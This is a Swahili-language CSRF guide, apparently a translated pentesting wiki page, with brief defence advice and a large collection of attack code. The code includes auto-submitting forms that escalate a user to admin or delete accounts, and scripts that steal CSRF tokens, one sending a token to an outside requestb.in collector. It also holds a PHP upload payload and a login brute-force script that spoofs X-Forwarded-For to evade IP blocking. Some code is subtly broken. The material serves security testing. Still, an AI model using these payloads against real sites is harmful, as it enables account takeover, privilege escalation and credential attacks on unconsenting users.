CSRF (Cross Site Request Forgery)

Reading time: 22 minutes

Cross-Site Request Forgery (CSRF) Imefafanuliwa

Cross-Site Request Forgery (CSRF) ni aina ya udhaifu wa usalama unaopatikana katika web applications. Inamfaa mshambuliaji kufanya vitendo kwa niaba ya watumiaji wasio na wazo kwa kutumia vikao vyao vilivyothibitishwa. Shambulio hufanyika wakati mtumiaji, ambaye ameingia kwenye jukwaa la mwathiri, anapotembelea tovuti hasidi. Tovuti hii basi inasababisha requests kwa akaunti ya mwathiri kupitia njia kama kutekeleza JavaScript, kuwasilisha forms, au ku-fetch images.

Masharti ya awali kwa Shambulio la CSRF

Ili kuchochea udhaifu wa CSRF, masharti kadhaa yanapaswa kutimizwa:

1. Tambua Kitendo chenye Thamani: Mshambuliaji anahitaji kupata kitendo cha thamani cha kutumika, kama kubadilisha nywila ya mtumiaji, barua pepe, au kuongeza vibali (elevating privileges).
2. Session Management: Kikao cha mtumiaji kinapaswa kusimamiwa kabisa kupitia cookies au HTTP Basic Authentication header, kwani headers nyingine haziwezi kutumiwa kwa madhumuni haya.
3. Ukosefu wa Vigezo Visivyotabirika: Ombi halipaswi kuwa na vigezo visivyotabirika, kwani vinaweza kuzuia shambulio.

Ukaguzi wa Haraka

Unaweza capture the request in Burp na kuangalia ulinzi wa CSRF; kwa kujaribu kutoka kwenye browser unaweza kubofya Copy as fetch na kuangalia ombi:

Kujilinda Dhidi ya CSRF

Hatua kadhaa za kujikinga zinaweza kutumika kuzuia shambulio la CSRF:

• SameSite cookies: Attribute hii inazuia browser kutuma cookies pamoja na cross-site requests. More about SameSite cookies.
• Cross-origin resource sharing: Sera ya CORS ya tovuti ya mwathiri inaweza kuathiri uwezekano wa shambulio, hasa kama shambulio linahitaji kusoma response kutoka kwa tovuti ya mwathiri. Learn about CORS bypass.
• User Verification: Kuomba nywila ya mtumiaji au kutatua captcha kunaweza kuthibitisha nia ya mtumiaji.
• Checking Referrer or Origin Headers: Kuthibitisha headers hizi kunaweza kusaidia kuhakikisha requests zinatoka vyanzo vinavyoaminika. Hata hivyo, kuunda URL kwa uangalifu kunaweza kupitisha ukaguzi duni, kama:
  • Kutumia http://mal.net?orig=http://example.com (URL inaishia na URL ya kuaminika)
  • Kutumia http://example.com.mal.net (URL inaanza na URL ya kuaminika)
• Modifying Parameter Names: Kubadilisha majina ya parameta katika POST au GET requests kunaweza kusaidia kuzuia mashambulio ya kiotomatiki.
• CSRF Tokens: Kuingiza CSRF token ya kipekee katika kila session na kuhitaji token hii katika requests zinazofuata kunaweza kupunguza hatari ya CSRF kwa kiasi kikubwa. Ufanisi wa token unaweza kuboreshwa kwa kuutekeleza pamoja na CORS.

Kuelewa na kutekeleza ulinzi huu ni muhimu kwa kudumisha usalama na uadilifu wa web applications.

Makosa ya kawaida katika ulinzi

• SameSite pitfalls: SameSite=Lax bado inaruhusu top-level cross-site navigations kama links na form GETs, hivyo CSRF nyingi zinazotegemea GET zinaendelea kuwa za uwezekano. Angalia cookie matrix katika Hacking with Cookies > SameSite.
• Header checks: Thibitisha Origin unapopatikana; ikiwa zote Origin na Referer hazipo, kata kwa kufeli (fail closed). Usitegemee substring/regex matches ya Referer ambayo yanaweza kupitishwa kwa domains zinazoiga au URL zilizotengenezwa, na kumbuka trick ya suppression meta name="referrer" content="never".
• Method overrides: Tenda kwa kuzingatia methods zilizopitishwa (_method au override headers) kama zinazobadilisha state na utekeleze CSRF kwa method yenye ufanisi, sio tu kwa POST.
• Login flows: Weka ulinzi wa CSRF hata kwenye login; vinginevyo, login CSRF inaruhusu kuanzisha tena uthibitisho (forced re-authentication) kwenye akaunti zinazodhibitiwa na mshambuliaji, ambazo zinaweza kuunganishwa na stored XSS.

Kupita kwa Ulinzi

Kutoka POST hadi GET (method-conditioned CSRF validation bypass)

Baadhi ya maombi ya wavuti huhukumu uthibitisho wa CSRF tu kwa POST huku zikiiacha kwa verbs nyingine. Anti-pattern ya kawaida katika PHP inaonekana kama:

public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

Ikiwa endpoint yenye udhaifu pia inakubali vigezo kutoka $_REQUEST, unaweza kuomba tena hatua ile ile kama ombi la GET na kuacha token ya CSRF kabisa. Hii inabadilisha hatua iliyokuwa kwa POST tu kuwa hatua ya GET ambayo inafanikiwa bila token.

Example:

• Original POST with token (intended):

POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]

• Bypass by switching to GET (no token):

GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Notes:

• Muundo huu mara nyingi hujitokeza pamoja na reflected XSS ambapo majibu hutolewa kwa njia isiyo sahihi kama text/html badala ya application/json.
• Kujumuisha hili na XSS kunapunguza vizingiti vya utekaji wa udhaifu kwa kiasi kikubwa kwa sababu unaweza kutoa kiungo kimoja cha GET ambacho kinachochea njia ya msimbo yenye udhaifu na pia kinazuia ukaguzi wa CSRF kabisa.

Ukosefu wa token

Maombi yanaweza kutekeleza utaratibu wa kuthibitisha tokens wakati zipo. Hata hivyo, udhaifu unatokea ikiwa uhakiki unarukwa kabisa wakati token haipo. Wavamizi wanaweza kufaidika na hili kwa kuondoa parameter inayobeba token, sio tu thamani yake. Hii inawawezesha kupita mchakato wa uhakiki na kufanya Cross-Site Request Forgery (CSRF) attack kwa ufanisi.

Zaidi ya hayo, baadhi ya utekelezaji huchunguza tu kwamba parameter ipo lakini hawauhakiki yaliyomo yake, hivyo thamani tupu ya token inakubaliwa. Katika hali hiyo, kutuma tu ombi lenye csrf= inatosha:

POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=

PoC ndogo inayojituma kiotomatiki (kuficha urambazaji kwa history.pushState):

<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>

CSRF token haifungwi kwa kikao cha mtumiaji

Maombi ambayo hayayafunga CSRF tokens kwa kikao cha mtumiaji yanaleta tishio kubwa la usalama. Mifumo hii huhakiki token dhidi ya global pool badala ya kuhakikisha kila token imefungwa kwa kikao kilichoiweka.

Hivyo ndivyo wanaovamia wanavyotumia hii:

1. Thibitisha kwa kutumia akaunti yao wenyewe.
2. Pata CSRF token halali kutoka kwa global pool.
3. Tumia token hii katika CSRF attack dhidi ya mwathiri.

Udhaifu huu unawawezesha wanaovamia kutuma maombi yasiyoruhusiwa kwa niaba ya mwathiri, wakitumia mfumo duni wa uthibitishaji wa token wa programu.

Kupitisha method

Ikiwa ombi linatumia a "weird" method, angalia kama utendaji wa method override unafanya kazi. Kwa mfano, ikiwa linatumia PUT/DELETE/PATCH method unaweza kujaribu kutumia a POST na kutuma override, e.g. https://example.com/my/dear/api/val/num?_method=PUT.

Hii pia inaweza kufanya kazi kwa kutuma _method parameter inside a POST body au kwa kutumia override headers:

• X-HTTP-Method
• X-HTTP-Method-Override
• X-Method-Override

Inatokea mara kwa frameworks kama Laravel, Symfony, Express, na wengine. Wabuni mara nyingine hupitisha CSRF kwenye verbs zisizo za POST kwa kudhani browsers hawawezi kuzituma; kwa overrides, bado unaweza kufikia handlers hizo kupitia POST.

Example request and HTML PoC:

POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE

<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>

Custom header token bypass

Ikiwa ombi linaongeza custom header yenye token kwenye ombi kama CSRF protection method, basi:

• Jaribu ombi bila Customized Token na bila header.
• Jaribu ombi lenye urefu sawa kabisa lakini na same length but different token.

CSRF token is verified by a cookie

Programu zinaweza kutekeleza ulinzi wa CSRF kwa kuzidisha token katika cookie na request parameter, au kwa kuweka CSRF cookie na kuthibitisha kama token iliyotumwa kwenye backend inalingana na cookie. Programu inathibitisha maombi kwa kukagua kama token kwenye request parameter inaendana na thamani iliyoko kwenye cookie.

Hata hivyo, njia hii inaweza kuathiriwa na CSRF attacks ikiwa tovuti ina dosari zinazomruhusu mshambuliaji kuweka CSRF cookie katika browser ya mwanaathiriwa, kama CRLF vulnerability. Mshambuliaji anaweza kutumia hili kwa kupakia picha ya kudanganya inayoweka cookie, kisha kuanzisha CSRF attack.

Chini kuna mfano wa jinsi shambulio linaweza kuundwa:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

Mabadiliko ya Content-Type

According to this, in order to avoid preflight requests using POST method these are the allowed Content-Type values:

• application/x-www-form-urlencoded
• multipart/form-data
• text/plain

Hata hivyo, kumbuka kwamba mantiki za server zinaweza kutofautiana kulingana na Content-Type inayotumika, hivyo unapaswa kujaribu maadili yaliyotajwa na mengine kama application/json,text/xml, application/xml.

Example (from here) of sending JSON data as text/plain:

<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Kupita Maombi ya Preflight kwa Data ya JSON

Wakati unajaribu kutuma data ya JSON kupitia POST request, kutumia Content-Type: application/json katika HTML form si uwezekano moja kwa moja. Vivyo hivyo, kutumia XMLHttpRequest kutuma aina hii ya content kutaanzisha preflight request. Hata hivyo, kuna mbinu zinazoweza kupitisha kikomo hiki na kuangalia ikiwa server inachakata data ya JSON bila kujali Content-Type:

1. Tumia Aina mbadala za Content-Type: Tumia Content-Type: text/plain au Content-Type: application/x-www-form-urlencoded kwa kuweka enctype="text/plain" kwenye form. Mbinu hii inajaribu ikiwa backend inatumia data bila kujali Content-Type.
2. Badilisha Content Type: Ili kuepuka preflight request huku ukihakikisha server inatambua content kama JSON, unaweza kutuma data na Content-Type: text/plain; application/json. Hii haitasababisha preflight request lakini inaweza kuchakatwa ipasavyo na server ikiwa imewekwa kukubali application/json.
3. Kutumia faili SWF Flash: Njia isiyo ya kawaida lakini inayowezekana ni kutumia SWF flash file kupita vikwazo hivyo. Kwa ufahamu wa kina wa mbinu hii, rejea chapisho hiki.

Kukwepa ukaguzi wa Referrer / Origin

Epuka header ya Referrer

Applications zinaweza kuthibitisha header ya 'Referer' tu wakati inapoonekana. Ili kuzuia browser kutuma header hii, tagi ya meta ya HTML ifuatayo inaweza kutumika:

<meta name="referrer" content="never">

Hii inahakikisha header ya 'Referer' haijumuishwi, na inaweza kuvuka ukaguzi wa uthibitisho katika baadhi ya programu.

Regexp bypasses

URL Format Bypass

Ili kuweka jina la domaini la server kwenye URL ambayo Referrer atatumia kutuma ndani ya parametri, unaweza kufanya:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

Sehemu ya kwanza ya this CTF writeup inaelezea kwamba Oak's source code, router imewekwa ili handle HEAD requests as GET requests bila response body - suluhisho la kawaida ambalo si la kipekee kwa Oak. Badala ya handler maalum anayeshughulikia HEAD reqs, zinapewa tu to the GET handler but the app just removes the response body.

Kwa hiyo, ikiwa ombi la GET limezuiwa, unaweza tu send a HEAD request that will be processed as a GET request.

Exploit Examples

Stored CSRF via user-generated HTML

Wakati rich-text editors au HTML injection zinaruhusiwa, unaweza kuhifadhi passive fetch inayofanya hit kwa vulnerable GET endpoint. Mtumiaji yeyote anayeyeangalia yaliyomo ataenda kutekeleza ombi hilo moja kwa moja akiwa na cookies zake.

• Ikiwa app inatumia global CSRF token ambayo haifungwa kwa user session, token ile ile inaweza kufanya kazi kwa watumiaji wote, na kufanya stored CSRF iwe ya kuaminika kwa waathiriwa wengi.

Minimal example that changes the viewer’s email when loaded:

<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">

Login CSRF iliyofungamana na stored XSS

Login CSRF peke yake inaweza kuwa na athari ndogo, lakini kuichain na authenticated stored XSS kunakuwa na nguvu: lazimisha mwathirika kuingia kwenye akaunti inayodhibitiwa na mshambulizi; mara ukiwa katika muktadha huo, stored XSS kwenye ukurasa uliothibitishwa itatekelezwa na inaweza kuiba tokens, hijack session, au escalate privileges.

• Hakikisha login endpoint inaweza kufanywa CSRF (hakuna per-session token au origin check) na hakuna vizuizi vya mwingiliano wa mtumiaji vinavyokuzuia.
• Baada ya forced login, elekeza moja kwa moja kwenye ukurasa unaoonyesha payload ya stored XSS ya mshambulizi.

PoC ndogo ya login-CSRF:

<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>

Exfiltrating CSRF Token

Ikiwa CSRF token inatumiwa kama defence, unaweza kujaribu exfiltrate it ukitumia udhaifu wa XSS au udhaifu wa Dangling Markup vulnerability.

GET using HTML tags

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Vitagizo vingine vya HTML5 vinavyoweza kutumika kutuma ombi la GET kiotomatiki ni:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Ombi la GET la fomu

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ombi la POST ya Fomu

<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

Ombi la Form POST kupitia iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ombi la POST la Ajax

<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data POST request

myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST request v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Form POST request kutoka ndani ya iframe

<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

Kuiba CSRF Token na kutuma POST request

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

Pora CSRF Token na tuma ombi la Post ukitumia iframe, form na Ajax

<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

Kuiba CSRF Token na kutuma POST request kwa kutumia iframe na form

<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Iba token na uitume kwa kutumia iframes 2

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal token ya CSRF kwa kutumia Ajax na kutuma POST kwa fomu

<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF na Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

The code inaweza kutumika kufanya Brut Force kwenye fomu ya login kwa kutumia CSRF token (Pia inatumia header X-Forwarded-For kujaribu kupitisha IP blacklisting):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Vifaa

• https://github.com/0xInfection/XSRFProbe
• https://github.com/merttasci/csrf-poc-generator
• Burp Suite Professional – Tengeneza CSRF PoCs

Marejeleo

• https://portswigger.net/web-security/csrf
• https://portswigger.net/web-security/csrf/bypassing-token-validation
• https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
• https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
• Mwongozo kamili kwa udhaifu za CSRF (YesWeHack)
• OWASP: Cross-Site Request Forgery (CSRF)
• Wikipedia: Cross-site request forgery
• PortSwigger Web Security Academy: maabara za CSRF
• Hackernoon: Blind CSRF
• YesWeHack Dojo: maabara za vitendo